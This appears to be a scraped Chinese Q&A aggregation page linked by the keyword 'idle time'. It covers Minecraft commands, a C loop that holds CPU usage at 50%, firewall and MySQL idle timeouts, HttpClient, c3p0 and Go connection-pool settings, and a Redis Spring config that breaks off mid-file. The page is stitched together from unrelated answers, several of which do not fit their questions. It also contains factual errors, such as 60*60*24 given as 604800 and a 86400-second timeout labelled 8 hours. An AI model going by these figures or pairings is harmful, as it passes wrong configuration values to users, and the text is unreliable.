《我的世界》(Minecraft)是一款高度自由的沙盒游戏,在很多人心中是一款非常有趣的游戏,但是他对于新手其实有一定的难度,但通过记住一些指令,玩家也可以快速成长并享受《我的世界》这款游戏,下面跟随小编一起记住这些 MC玩家必须会的输入“指令”:1、/setidletimeout设定踢出挂机玩家的时间;2、/setworldspawn设定出生点;3、/spawnpoint设定一位玩家的出生点;4、/spreadplayers将实体传送至随机位置。5、/stats通过命令的返回改变记分板对象。6、/summon生成一个实体。7、/tell向其他玩家显示一条私人信息。8、/testforblock探测一个方块是否在一个位置。9、/time改变或查询世界的游戏时间。10、/title制作标题。11、/toggledownfall切换天气。12、/setworldspawn 设定出生点13、./achievement give *就能瞬间获得所有的成就14、/tp 使用方法:/tp x y z 作用:传送位置15、/gamerule keepinventory true 死亡不掉落16、/kill 不输入名字为自杀,输入其他人名字杀死其他人17、 /gamemode(0/1/2/3)设自己为生存/创造/冒险/观察者模式18、 /tp [ID] 将自己传送到某人旁19、/tphere [ID] 某个玩家强制飞到你身边
2023-06-27 09:35:101

如何编写一段小程序,让windows任务管理器cpu的占用率显示为50%?

void fun(){ int busyTime = 10; int idleTime = busyTime * 1.0; //调整这个1.0的值,以达到50%的标准,不同的计算机上是不同的。 int ret = SetThreadAffinityMask(GetCurrentThread(),0x00000001);//使这个程序跑在第一个CPU核心 INT64 startTime = 0; while (1){ startTime = GetTickCount(); while((GetTickCount() - startTime) <= busyTime) ; Sleep(idleTime); } }C程序,勿忘了#include <windows.h>基本思想还是死循环,不过在循环中加上Sleep调用降低占用率。详细可以查看《编程之美》第一章,,这是以前微软的面试题
2023-06-27 09:35:401

可以令指定的vbs每小时自动执行一次吗?

计划任务
2023-06-27 09:35:492

思科ASA5520在设置过防火墙后出现,PLSQL登陆后长时间不操作,连接就断开的现象。ORA-03114错误。

有两个地方会有影响一个是数据库自身的超时配置 一个是防火墙会话超时没找到思科的防火墙,有个其他牌子的,命令行与思科差不多host(config)# ip inspect idletime tcp-idletime ****是超时时间,借鉴下吧。
2023-06-27 09:35:572

Spark on Yarn提交配置没有生效

在Yarn上提交Spark任务,在提交时命令为 理论上提交的资源应该为内存1.5g,虚拟CPU2。 但是提交到Yarn,通过Web UI发现提交的配置并没有生效 以下相关参数: spark.dynamicAllocation.minExecutors ,动态分配最小executor个数,在启动时就申请好的,默认0; spark.dynamicAllocation.maxExecutors ,动态分配最大executor个数,默认infinity; spark.dynamicAllocation.initialExecutors 动态分配初始executor个数默认值= spark.dynamicAllocation.minExecutors ; spark.dynamicAllocation.executorIdleTimeout 当某个executor空闲超过这个设定值,就会被kill,默认60s; spark.dynamicAllocation.cachedExecutorIdleTimeout ,当某个缓存数据的executor空闲时间超过这个设定值,就会被kill,默认infinity; spark.dynamicAllocation.schedulerBacklogTimeout ,任务队列非空,资源不够,申请executor的时间间隔,默认1s spark.dynamicAllocation.sustainedSchedulerBacklogTimeout ,同schedulerBacklogTimeout,是申请了新executor之后继续申请的间隔,默认=schedulerBacklogTimeout;
2023-06-27 09:36:041

pbs的节点空闲但不接受任务是怎么回事?

因为你提交的只是简单的任务,可能任务管理系统认为不需要利用空闲结点就可以分配计算。系统认为的空闲跟我们认为的空闲是两个概念,可以使用——完全空闲。
2023-06-27 09:36:111

httpclient参数配置

这里简单解释一下httpclient一些关键参数的配置 httpclient默认提供了一个策略 默认的话,是从response里头读timeout参数的,没有读到则设置为-1,这个代表无穷,这样设置是有点问题了,如果是https链接的话,则可能会经常报 HTTP规范没有确定一个持久连接可能或应该保持活动多长时间。一些HTTP服务器使用非标准的头部信息Keep-Alive来告诉客户端它们想在服务器端保持连接活动的周期秒数。如果这个信息可用,HttClient就会利用这个它。如果头部信息Keep-Alive在响应中不存在,HttpClient假设连接无限期的保持活动。然而许多现实中的HTTP服务器配置了在特定不活动周期之后丢掉持久连接来保存系统资源,往往这是不通知客户端的。 这里可以在此基础上重写一个,这里设置为5秒 官方提供了一个实例 在spring cloud netflix zuul中则提供了类似的定时器,只不过参数是写死的 spring-cloud-netflix-core/1.2.6.RELEASE/spring-cloud-netflix-core-1.2.6.RELEASE-sources.jar!/org/springframework/cloud/netflix/zuul/filters/route/SimpleHostRoutingFilter.java httpcore-4.4.6-sources.jar!/org/apache/http/pool/PoolEntry.java 主要看 httpclient-4.5.3-sources.jar!/org/apache/http/impl/execchain/ConnectionHolder.java 这里设置了validDuration,会传给releaseConnection httpclient-4.5.3-sources.jar!/org/apache/http/impl/conn/PoolingHttpClientConnectionManager.java 这里去updateExpiry,相当于更新了timeToLive 这里设置的是http连接池中connection的存活时间 httpclient-4.5.3-sources.jar!/org/apache/http/impl/client/HttpClientBuilder.java httpclient-4.5.3-sources.jar!/org/apache/http/impl/conn/PoolingHttpClientConnectionManager.java 4.0的ThreadSafeClientConnManager,在4.2版本的时候被废弃了,默认使用PoolingHttpClientConnectionManager。这个manager有两个重要的参数,一个是maxTotal,一个是defaultMaxPerRoute。 httpclient-4.5.3-sources.jar!/org/apache/http/conn/routing/HttpRoute.java HttpRoute对象是immutable的,包含的数据有目标主机、本地地址、代理链、是否tunnulled、是否layered、是否是安全路由。 httpclient-4.5.3-sources.jar!/org/apache/http/impl/client/IdleConnectionEvictor.java builder默认会构造一个IdleConnectionEvictor httpclient-4.5.3-sources.jar!/org/apache/http/impl/client/HttpClientBuilder.java 如果没有指定maxIdleTime的话,但是有设置evictExpiredConnections的话,默认是10秒 设置从连接池获取一个连接的请求超时时间( 连接池中连接不够用的时候等待超时时间 ),单位毫秒,可以设置为500ms httpclient-4.5.3-sources.jar!/org/apache/http/impl/execchain/MainClientExec.java 设置重试策略 httpclient-4.5.3-sources.jar!/org/apache/http/impl/client/DefaultHttpRequestRetryHandler.java 比如不重试,可以这样设置 当getKeepAliveDuration为-1以及connTimeToLive为-1的时候,closeExpiredConnections方法其实是没有用的,查看debug日志会出现 当getKeepAliveDuration不为-1的话,假设是5s,则日志可能是这样的
2023-06-27 09:36:351

mysql idle 是什么意思

mysql idle 是意思1. 增加 MySQL 的 wait_timeout 属性的值。 修改 /etc/mysql/my.cnf文件,在 [mysqld] 节中设置: # Set a connection to wait 8hours in idle status. wait_timeout =86400 相关参数,红色部分 mysql> show variables like "%timeout%"; +--------------------------+-------+ | Variable_name | Value | +--------------------------+-------+ | connect_timeout | 5 | | delayed_insert_timeout | 300 | | innodb_lock_wait_timeout | 50 | | interactive_timeout | 28800 | | net_read_timeout | 30 | | net_write_timeout | 60 | | slave_net_timeout | 3600 | | wait_timeout | 28800 | +--------------------------+-------+ 同一时间,这两个参数只有一个起作用。到底是哪个参数起作用,和用户连接时指定的连接参数相关,缺省情况下是使用wait_timeout。我建议是将这两个参数都修改,以免引起不必要的麻烦。 这两个参数的默认值是8小时(60*60*8=28800)。我测试过将这两个参数改为0,结果出人意料,系统自动将这个值设置为。换句话说,不能将该值设置为永久。 将这2个参数设置为24小时(60*60*24=604800)即可。 set interactive_timeout=604800; set wait_timeout=604800; 2. 减少连接池内连接的生存周期,使之小于上一项中所设置的 wait_timeout 的值。 修改 c3p0 的配置文件,设置: # How long to keep unused connections around(in seconds) # Note: MySQL times out idle connections after 8hours(28,800seconds) # so ensure this value is below MySQL idle timeout cpool.maxIdleTime=25200 在 Spring 的配置文件中: 复制代码 代码如下:<bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource"> <property name="maxIdleTime"value="${cpool.maxIdleTime}"/> <!--other properties --> </bean> 3. 定期使用连接池内的连接,使得它们不会因为闲置超时而被 MySQL 断开。 修改 c3p0 的配置文件,设置: # Prevent MySQL raise exception after a long idle timecpool.preferredTestQuery="SELECT 1"cpool.idleConnectionTestPeriod=18000cpool.testConnectionOnCheckout=true 修改 Spring 的配置文件: 复制代码 代码如下:<bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource"> <property name="preferredTestQuery" value="${cpool.preferredTestQuery}"/> <property name="idleConnectionTestPeriod" value="${cpool.idleConnectionTestPeriod}"/> <property name="testConnectionOnCheckout" value="${cpool.testConnectionOnCheckout}"/> <!--other properties --></bean>
2023-06-27 09:36:441

请问Java中获得CPU使用率的办法?windows系统

这个可以用Sigar.jar这个包来做细节代码我无法粘贴上去你可以上网上搜一下这个包的用法或api
2023-06-27 09:36:523

怎么能用计划任务给电脑定时关机并在这次关机后每次开机后自动重启?

我只知道 在待机的时候可以唤醒计算机。计划任务需要开机设密码
2023-06-27 09:37:084

64位电脑获取CPU使用率(使用c语言)

GlobalMemoryStatusEx获得系统时间: CopyBOOL WINAPI GetSystemTimes( __out_opt LPFILETIME lpIdleTime, //空闲时间 __out_opt LPFILETIME lpKernelTime, //内核时间 __out_opt LPFILETIME lpUserTime //用户时间);#define _WIN32_WINNT 0x0501#include <Windows.h>#include <iostream> using namespace std;__int64 CompareFileTime ( FILETIME time1, FILETIME time2 ){ __int64 a = time1.dwHighDateTime << 32 | time1.dwLowDateTime ; __int64 b = time2.dwHighDateTime << 32 | time2.dwLowDateTime ; return (b - a);}void main() { HANDLE hEvent;BOOL res ;FILETIME preidleTime;FILETIME prekernelTime;FILETIME preuserTime;FILETIME idleTime;FILETIME kernelTime;FILETIME userTime;res = GetSystemTimes( &idleTime, &kernelTime, &userTime );preidleTime = idleTime;prekernelTime = kernelTime;preuserTime = userTime ;hEvent = CreateEvent (NULL,FALSE,FALSE,NULL); // 初始值为 nonsignaled ,并且每次触发后自动设置为nonsignaledwhile (1){ WaitForSingleObject( hEvent,1000 ); //等待500毫秒 res = GetSystemTimes( &idleTime, &kernelTime, &userTime ); int idle = CompareFileTime( preidleTime,idleTime); int kernel = CompareFileTime( prekernelTime, kernelTime); int user = CompareFileTime(preuserTime, userTime);int cpu = (kernel +user - idle) *100/(kernel+user);//(总的时间-空闲时间)/总的时间=占用cpu的时间就是使用率 int cpuidle = ( idle) *100/(kernel+user); cout << "CPU利用率:" << cpu << "%" << " CPU空闲率:" <<cpuidle << "%" <<endl;preidleTime = idleTime; prekernelTime = kernelTime; preuserTime = userTime ; }}
2023-06-27 09:37:171

java idleconnectiontestperiod和maxidletime的区别

楼主描述正是MySQL8小时问题,这个问题还是比较容易解决的。楼主用的连接池是C3P0吗?这里我以C3P0连接池为例来说明问题原因和解决方法。问题原因:MySQL默认是自动关闭空闲超过8小时的连接,而C3P0并不知道该connection已经失效,如果这时有Client请求connection,C3P0将该失效的Connection提供给Client,将会造成异常。重启Tomcat操作会使C3P0重新建立和数据库的连接池,且池内的连接都是有效的连接。解决方法:c3p0要在8小时内关闭不使用的连接。这需要修改其中的一些配置参数,主要是maxIdleTime和idleConnectionTestPeriod。这两个参数的值要小于28800秒。建议配置如下:<!-- 每次都验证连接是否可用 --><property name="hibernate.c3p0.validate">true</property><!-- 检查连接池中所有空闲连接的间隔时间,单位为秒(要注意的是MySQL的自动关闭空闲超过8小时连接的机制) --><property name="hibernate.c3p0.idle_test_period">18000</property><!-- 连接的最大空闲时间,25000秒内未使用则连接被丢弃。单位为秒(要注意的是MySQL的自动关闭空闲超过8小时连接的机制) --><property name="hibernate.c3p0.timeout">25000</property>附上在 hibernate中配置c3p0的关键字。 c3p0.acquireIncrement hibernate.c3p0.acquire_increment c3p0.idleConnectionTestPeriod hibernate.c3p0.idle_test_period c3p0.maxIdleTime hibernate.c3p0.timeout c3p0.maxPoolSize hibernate.c3p0.max_size c3p0.maxStatements hibernate.c3p0.max_statements c3p0.minPoolSize hibernate.c3p0.min_size
2023-06-27 09:37:261

高分求c代码:每个线程的cpu使用率

VC的有。
2023-06-27 09:37:368

高分:哪位大神帮我把C语言代码改写为java语言。

java如何调用c java要想调用c的程序,那就要把c生成dll文件给java调用,也就是java调用dll文件,如何调用呢,就要使用java的本地化方法JNI调用c的dll文件。
2023-06-27 09:38:031

Idletimeofdirectworkersisandirectlaborcost.

【正确】 Idl tim f dirct wrkrs is a idirct labr cst.
2023-06-27 09:38:381

Java如何读取CPU的数据信息

通过jni去实现。具体的方式你上网查询一下
2023-06-27 09:38:558

支付宝接口集成时老是报Checking for connections, idleTimeout

解决了没啊?
2023-06-27 09:40:015

我的世界1.7.10指令

指令很多你要什么样的
2023-06-27 09:40:174

《我的世界》mc全部指令是什么?

我的世界的指令有很多,最常用的有:/tp [x] [y] [z]/weather [clear/rain/thunder]/give [自己昵称] [物品id] [数量]等等
2023-06-27 09:41:253

我的世界封ip指令是什么 怎么封ip

【ban】 <玩家名称>封禁拥有玩家名称名称的玩家,列入黑名单,令其永远无法登进此服务器。 注意:封禁 操作会覆盖之前的白名单操作。【ban-ip】封禁一个特定的IP,列入黑名单,并从此拒绝任何从该地址而来的连接请求。【banlist】 [ips]显示封禁名单。若要列出封禁的IP,请使用banlist ips指令。【deop】 <玩家名称>撤销一个玩家的管理员身份。【kick】 <玩家名称>强制断开玩家名称与服务器的连接。【list】显示当前***的玩家列表。【op】 <玩家名称>授予 玩家名称 在服务器里的管理员职位。【pardon】 <玩家名称>将 玩家名称 移出黑名单,允许他再次连接到服务器。【pardon-ip】将 ip地址 从IP黑名单移除,允许该IP连接到服务器。【save-all】强制将服务器尚未储存地变更写入存档。【save-off】取消服务器对地图存档的写入。所有的更改都会暂时进入等待队列。【save-on】允许服务器写入地图存档。这项是默认设定。【setidletimeout】 <闲置时限(分钟)>会自动将挂机过久的玩家踢下线。【stop】正常关闭服务器。【whitelist】 <玩家名称>将玩家名称加进或移出白名单。【whitelist 】显示所有在白名单上的玩家。【whitelist】启用/停用服务器的白名单机制。 注意: 服务器的OP总是能够在白名单打开时进入服务 器,无论他们在与不在白名单上。【whitelist reload】重新从硬盘读取white-list.txt上的白名单。(多我的世界攻略教程视频,您可以直接百度下“18183我的世界”,18183我的世界合作服务器我的世界第七空间,相关客户端下载请您加总群:314130830
2023-06-27 09:42:501

使用Go实现一个数据库连接池

开始本文之前,我们看一段Go连接数据库的代码: 本文内容我们将解释连接池背后是如何工作的,并 探索 如何配置数据库能改变或优化其性能。 转自:https://www.jianshu.com/p/cbfc398bd4d6 整理:地鼠文档:www.topgoer.cn 那么sql.DB连接池是如何工作的呢? 需要理解的最重要一点是,sql.DB池包含两种类型的连接——“正在使用”连接和“空闲”连接。当您使用连接执行数据库任务(例如执行SQL语句或查询行)时,该连接被标记为正在使用,任务完成后,该连接被标记为空闲。 当您使用Go执行数据库操作时,它将首先检查池中是否有可用的空闲连接。如果有可用的连接,那么Go将重用这个现有连接,并在任务期间将其标记为正在使用。如果在您需要空闲连接时池中没有空闲连接,那么Go将创建一个新的连接。 当Go重用池中的空闲连接时,与该连接有关的任何问题都会被优雅地处理。异常连接将在放弃之前自动重试两次,这时Go将从池中删除异常连接并创建一个新的连接来执行该任务。 连接池有四个方法,我们可以使用它们来配置连接池的行为。让我们一个一个地来讨论。 SetMaxOpenConns()方法允许您设置池中“打开”连接(使用中+空闲连接)数量的上限。默认情况下,打开的连接数是无限的。 一般来说,MaxOpenConns设置得越大,可以并发执行的数据库查询就越多,连接池本身成为应用程序中的瓶颈的风险就越低。 但让它无限并不是最好的选择。默认情况下,PostgreSQL最多100个打开连接的硬限制,如果达到这个限制的话,它将导致pq驱动返回”sorry, too many clients already”错误。 为了避免这个错误,将池中打开的连接数量限制在100以下是有意义的,可以为其他需要使用PostgreSQL的应用程序或会话留下足够的空间。 设置MaxOpenConns限制的另一个好处是,它充当一个非常基本的限流器,防止数据库同时被大量任务压垮。 但设定上限有一个重要的警告。如果达到MaxOpenConns限制,并且所有连接都在使用中,那么任何新的数据库任务将被迫等待,直到有连接空闲。在我们的API上下文中,用户的HTTP请求可能在等待空闲连接时无限期地“挂起”。因此,为了缓解这种情况,使用上下文为数据库任务设置超时是很重要的。我们将在书的后面解释如何处理。 SetMaxIdleConns()方法的作用是:设置池中空闲连接数的上限。缺省情况下,最大空闲连接数为2。 理论上,在池中允许更多的空闲连接将增加性能。因为它减少了从头建立新连接发生概率—,因此有助于节省资源。 但要意识到保持空闲连接是有代价的。它占用了本来可以用于应用程序和数据库的内存,而且如果一个连接空闲时间过长,它也可能变得不可用。例如,默认情况下MySQL会自动关闭任何8小时未使用的连接。 因此,与使用更小的空闲连接池相比,将MaxIdleConns设置得过高可能会导致更多的连接变得不可用,浪费资源。因此保持适量的空闲连接是必要的。理想情况下,你只希望保持一个连接空闲,可以快速使用。 另一件要指出的事情是MaxIdleConns值应该总是小于或等于MaxOpenConns。Go会强制保证这点,并在必要时自动减少MaxIdleConns值。 SetConnMaxLifetime()方法用于设置ConnMaxLifetime的极限值,表示一个连接保持可用的最长时间。默认连接的存活时间没有限制,永久可用。 如果设置ConnMaxLifetime的值为1小时,意味着所有的连接在创建后,经过一个小时就会被标记为失效连接,标志后就不可复用。但需要注意: 理论上,ConnMaxLifetime为无限大(或设置为很长生命周期)将提升性能,因为这样可以减少新建连接。但是在某些情况下,设置短期存活时间有用。比如: 如果您决定对连接池设置ConnMaxLifetime,那么一定要记住连接过期(然后重新创建)的频率。例如,如果连接池中有100个打开的连接,而ConnMaxLifetime为1分钟,那么您的应用程序平均每秒可以杀死并重新创建多达1.67个连接。您不希望频率太大而最终影响性能吧。 SetConnMaxIdleTime()方法在Go 1.15版本引入对ConnMaxIdleTime进行配置。其效果和ConnMaxLifeTime类似,但这里设置的是:在被标记为失效之前一个连接最长空闲时间。例如,如果我们将ConnMaxIdleTime设置为1小时,那么自上次使用以后在池中空闲了1小时的任何连接都将被标记为过期并被后台清理操作删除。 这个配置非常有用,因为它意味着我们可以对池中空闲连接的数量设置相对较高的限制,但可以通过删除不再真正使用的空闲连接来周期性地释放资源。 所以有很多信息要吸收。这在实践中意味着什么?我们把以上所有的内容总结成一些可行的要点。 1、根据经验,您应该显式地设置MaxOpenConns值。这个值应该低于数据库和操作系统对连接数量的硬性限制,您还可以考虑将其保持在相当低的水平,以充当基本的限流作用。 对于本书中的项目,我们将MaxOpenConns限制为25个连接。我发现这对于小型到中型的web应用程序和API来说是一个合理的初始值,但理想情况下,您应该根据基准测试和压测结果调整这个值。 2、通常,更大的MaxOpenConns和MaxIdleConns值会带来更好的性能。但是,效果是逐渐降低的,而且您应该注意,太多的空闲连接(连接没有被复用)实际上会导致性能下降和不必要的资源消耗。 因为MaxIdleConns应该总是小于或等于MaxOpenConns,所以对于这个项目,我们还将MaxIdleConns限制为25个连接。 3、为了降低上面第2点的风险,通常应该设置ConnMaxIdleTime值来删除长时间未使用的空闲连接。在这个项目中,我们将设置ConnMaxIdleTime持续时间为15分钟。 4、ConnMaxLifetime默认设置为无限大是可以的,除非您的数据库对连接生命周期施加了硬限制,或者您需要它协助一些操作,比如优雅地交换数据库。这些都不适用于本项目,所以我们将保留这个默认的无限制配置。 与其硬编码这些配置,不如更新cmd/api/main.go文件通过命令行参数读取配置。 ConnMaxIdleTime值比较有意思,因为我们希望它传递一段时间,最终需要将其转换为Go的time.Duration类型。这里有几个选择: 1、我们可以使用一个整数来表示秒(或分钟)的数量,并将其转换为time.Duration。 2、我们可以使用一个表示持续时间的字符串——比如“5s”(5秒)或“10m”(10分钟)——然后使用time.ParseDuration()函数解析它。 3、两种方法都可以很好地工作,但是在这个项目中我们将使用选项2。继续并更新cmd/api/main.go文件如下: File: cmd/api/main.go
2023-06-27 09:42:571

我的世界指令大全 超详细指令大全整理分享

我的世界中指令(Command)是通过输入特定文本字符串而激活的高级功能。通过按下T键唤出聊天窗口然后输入对应指令就可以使用了。常见的指令有召唤指令/summon、给予指令/give、传送指令/tp、杀死指令/kill、附魔指令/enchant等,本文根据wiki整理了全部指令,欢迎查看。 我的世界指令大全如下: 常用指令 召唤指令/summon 给予指令/give 传送指令/tp 指令汇总 /? /help的替代命令,提供命令使用帮助。 /ability 赋予或剥夺玩家的能力。 /advancement 添加、移除或查询玩家的进度。 /alwaysday /daylock的替代命令,锁定或解锁日夜循环。 /attribute 修改或查询玩家和生物的属性。 /ban 将玩家加入封禁列表。 /ban-ip 将IP地址加入封禁列表。 /banlist 显示封禁列表。 /bossbar 修改或查询Boss栏。 /camerashake 启用镜头抖动效果。 /changesetting 更改一个正在运行的服务器的设置。 /clear 从玩家物品栏中删除物品。 /clearspawnpoint 从世界中移除出生点。 /clone 将特定区域的方块复制到另一处。 /connect /wsserver的替代命令,连接至一个WebSocket服务器。 /damage 对指定实体造成伤害。 /data 允许玩家获取、合并或是移除实体或方块的NBT标签。 /datapack 控制加载的数据包。 /daylock /alwaysday的替代命令,锁定或解锁日夜循环。 /debug 开始或结束调试会话。 /dedicatedwsserver 尝试连接一个WebSocket服务器。 /defaultgamemode 更改默认的游戏模式。 /deop 撤销玩家的管理员权限。 /dialogue 打开一个玩家的NPC对话。 /difficulty 设置难度等级。 /effect 添加或移除状态效果。 /enchant 附魔玩家的物品。 /event 用于触发一个实体的事件。 /execute 更改执行环境的情况下执行另一条命令。 /experience /xp的替代命令,给予玩家经验。 /fill 在某个区域填充特定方块。 /fog 用于更改玩家当前的雾设置。 /forceload 强制不断加载区块。 /function 运行一个函数。 /gamemode 更改玩家的游戏模式。 /gamerule 更改或查询游戏规则。 /gametest 用于测试GameTest功能。 /give 给予玩家物品。 /help /?的替代命令,提供命令使用帮助。 /immutableworld 设置世界的不可变状态。 /item 用于修改方块或实体的物品栏。 /jfr 开始或结束JFR分析。 /kick 将玩家踢出服务器。 /kill 清除实体(玩家、生物、掉落物等)。 /list 列出服务器中的玩家。 /locate 显示最近的给定结构、生物群系或兴趣点的坐标。 /loot 将指定的战利品放入物品栏或世界。 /me 显示一条关于自己的信息。 /mobevent 控制或查询允许运行的生物事件。 /msg /tell和/w的替代命令,向另一玩家发送私信。 /music 设置玩家是否能控制当前播放的音乐。 /op 授予玩家管理员权限。 /ops /permission的替代命令,重载并应用权限。 /pardon 从封禁列表中移除玩家封禁项目。 /pardon-ip 从封禁列表中移除IP封禁项目。 /particle 创建粒子。 /perf 记录并保存性能分析数据。 /permission /ops的替代命令,重载并应用权限。 /place 在满足条件的指定位置放置一个已配置地物、拼图或结构。 /playanimation 运行一次特定动作。 /playsound 播放音效。 /publish 向局域网开放单人游戏世界。 /recipe 给予或剥夺合成配方。 /reload 从硬盘中重新加载战利品表、进度和函数。 /remove 移除智能体。 /replaceitem 替换物品栏中的物品。 /ride 控制一个实体的骑行状态。 /save 准备备份,查询其状态或恢复。 /save-all 保存服务器世界状态到硬盘。 /save-off 关闭服务器自动保存。 /save-on 开启服务器自动保存。 /say 向多个玩家发送消息。 /schedule 安排函数在特定的游戏刻后运行。 /scoreboard 管理记分板的目标、玩家和队伍。 /seed 显示世界种子。 /setblock 将方块替换为其他方块。 /setidletimeout 设置无操作玩家被踢出的延时。 /setmaxplayers 设置可加入游戏的玩家数量上限。 /setworldspawn 设置世界出生点。 /spawnpoint 设置一个玩家的出生地点。 /spectate 使一个处于旁观模式的玩家旁观一个实体。 /spreadplayers 将实体传送到随机位置。 /stop 关闭服务器。 /stopsound 停止音效。 /structure 无需结构方块即可保存和加载结构。 /summon 生成一个实体。 /tag 修改实体的标签。 /team 修改队伍。 /teammsg /tm的替代命令,指定要发送给队伍的消息。 /teleport /tp的替代命令,传送实体。 /tell /msg和/w的替代命令,向另一个玩家发送私信。 /tellraw 向玩家显示JSON消息。 /testfor 统计符合给定条件的实体。 /testforblock 检测某方块是否在某位置。 /testforblocks 检测两个区域中的方块是否相同。 /tickingarea 添加、删除或列出常加载区域。 /time 更改或查询游戏中的世界时间。 /title 管理屏幕上的标题。 /titleraw 使用JSON管理屏幕上的标题。 /tm /teammsg的替代命令,指定要发送给队伍的消息。 /toggledownfall 切换天气。 /tp /teleport的替代命令,传送实体。 /trigger 设置一个触发器。 /volumearea 添加、删除或列出功能域。 /w /tell和/msg的替代命令,向另一玩家发送私信。 /wb /worldbuilder的替代命令,给予能编辑受限制方块的能力。 /weather 设置天气。 /whitelist 管理服务器白名单。 /worldborder 管理世界边界。 /worldbuilder /wb的替代命令,给予能编辑受限制方块的能力。 /wsserver /connect的替代命令,连接至WebSocket服务器。 /xp /experience的替代命令[仅Java版],增加或减少一个玩家的经验。
2023-06-27 09:43:041

Hibernate MySql 连接池隔天断开

楼主描述正是MySQL8小时问题,这个问题还是比较容易解决的。楼主用的连接池是C3P0吗?这里我以C3P0连接池为例来说明问题原因和解决方法。问题原因:MySQL默认是自动关闭空闲超过8小时的连接,而C3P0并不知道该connection已经失效,如果这时有Client请求connection,C3P0将该失效的Connection提供给Client,将会造成异常。重启Tomcat操作会使C3P0重新建立和数据库的连接池,且池内的连接都是有效的连接。解决方法:c3p0要在8小时内关闭不使用的连接。这需要修改其中的一些配置参数,主要是maxIdleTime和idleConnectionTestPeriod。这两个参数的值要小于28800秒。建议配置如下:<!--每次都验证连接是否可用--><propertyname="hibernate.c3p0.validate">true</property><!--检查连接池中所有空闲连接的间隔时间,单位为秒(要注意的是MySQL的自动关闭空闲超过8小时连接的机制)--><propertyname="hibernate.c3p0.idle_test_period">18000</property><!--连接的最大空闲时间,25000秒内未使用则连接被丢弃。单位为秒(要注意的是MySQL的自动关闭空闲超过8小时连接的机制)--><propertyname="hibernate.c3p0.timeout">25000</property>附上在hibernate中配置c3p0的关键字。c3p0.acquireIncrementhibernate.c3p0.acquire_incrementc3p0.idleConnectionTestPeriodhibernate.c3p0.idle_test_periodc3p0.maxIdleTimehibernate.c3p0.timeoutc3p0.maxPoolSizehibernate.c3p0.max_sizec3p0.maxStatementshibernate.c3p0.max_statementsc3p0.minPoolSizehibernate.c3p0.min_size
2023-06-27 09:43:123

我的世界代码指令大全 2022MC代码指令大全汇总

以下是我的世界代码指令大全2022(适用于Java版1.18版本):1. 基础指令:/tp [玩家] u003cxu003e u003cyu003e u003czu003e - 传送到指定坐标/gamemode [模式] [玩家] - 切换游戏模式/give [玩家] [物品] [数量] - 给予指定玩家物品/kill [实体/玩家] - 杀死实体或玩家/time set [时间] - 设置时间/weather [天气] - 设置天气/setblock [x] [y] [z] [方块] [数据值] - 放置方块/fill [x1] [y1] [z1] [x2] [y2] [z2] [方块] [数据值] - 填充方块/replaceitem [实体] [插槽] [物品] [数量] [数据值] [NBT数据] - 替换实体的物品/summon [实体类型] [x] [y] [z] [NBT数据] - 召唤实体2. 调试指令:/seed - 获取当前世界的种子值/debug - 切换调试模式/profile [子命令] - 显示或操作性能分析器3. 生物群系指令:/biomeinfo [x] [z] - 获取指定坐标的生物群系信息/findbiome [生物群系] - 查找指定生物群系的坐标4. 实体指令:/data get [实体] [数据路径] - 获取实体某个属性的值/data modify [实体] [数据路径] [操作符] [值] - 修改实体某个属性的值/data merge [实体] [NBT数据] - 合并实体的NBT数据/data remove [实体] [数据路径] - 移除实体某个属性/entitydata [实体] [NBT数据] - 修改实体的NBT数据/execute [实体] [x] [y] [z] [命令] - 在实体位置执行命令/kill [实体/玩家] - 杀死实体或玩家/summon [实体类型] [x] [y] [z] [NBT数据] - 召唤实体5. 钓鱼指令:/fish - 钓鱼6. 方块实体指令:/blockdata [x] [y] [z] [NBT数据] - 修改方块实体的NBT数据/testforblock [x] [y] [z] [方块] [数据值] - 测试是否存在指定方块/testforblocks [x1] [y1] [z1] [x2] [y2] [z2] [x3] [y3] [z3] - 测试两个区域是否相同7. 杂项指令:/message [玩家] [消息] - 发送私人消息给指定玩家/particle [粒子类型] [x] [y] [z] [dx] [dy] [dz] [速度] [数量] - 创建粒子效果/rid [昵称] - 删除玩家昵称以上是我的世界代码指令大全2022,希望对您有帮助。
2023-06-27 09:43:371

3分钟搞定springboot整合redis

不多说直接上代码: <!-- redis --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-redis</artifactId> <exclusions> <exclusion> <groupId>redis.clients</groupId> <artifactId>jedis</artifactId> </exclusion> <exclusion> <groupId>io.lettuce</groupId> <artifactId>lettuce-core</artifactId> </exclusion> </exclusions> </dependency> <!-- 添加jedis客户端 --> <dependency> <groupId>redis.clients</groupId> <artifactId>jedis</artifactId> </dependency> <!--spring2.0集成redis所需common-pool2--> <!-- 必须加上,jedis依赖此 --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-pool2</artifactId> <version>2.5.0</version> </dependency> <!-- 将作为Redis对象序列化器 --> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.47</version> </dependency> #Matser的ip地址 redis.hostName=172.16.44.148 #端口号 redis.port=6379 #如果有密码 redis.password= #客户端超时时间单位是毫秒 默认是2000 redis.timeout=10000 #最大空闲数 redis.maxIdle=300 #连接池的最大数据库连接数。设为0表示无限制,如果是jedis 2.4以后用redis.maxTotal #redis.maxActive=600 #控制一个pool可分配多少个jedis实例,用来替换上面的redis.maxActive,如果是jedis 2.4以后用该属性 redis.maxTotal=1000 #最大建立连接等待时间。如果超过此时间将接到异常。设为-1表示无限制。 redis.maxWaitMillis=1000 #连接的最小空闲时间 默认1800000毫秒(30分钟) redis.minEvictableIdleTimeMillis=300000 #每次释放连接的最大数目,默认3 redis.numTestsPerEvictionRun=1024 #逐出扫描的时间间隔(毫秒) 如果为负数,则不运行逐出线程, 默认-1 redis.timeBetweenEvictionRunsMillis=30000 #是否在从池中取出连接前进行检验,如果检验失败,则从池中去除连接并尝试取出另一个 redis.testOnBorrow=true #在空闲时检查有效性, 默认false redis.testWhileIdle=true package com.junsi.demo.config; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.PropertySource; import org.springframework.data.redis.connection.RedisConnectionFactory; import org.springframework.data.redis.connection.jedis.JedisConnectionFactory; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.data.redis.serializer.GenericJackson2JsonRedisSerializer; import org.springframework.data.redis.serializer.StringRedisSerializer; import com.junsi.demo.utils.RedisUtil; import redis.clients.jedis.JedisPoolConfig; /** * Redis配置类 * @author pzx * 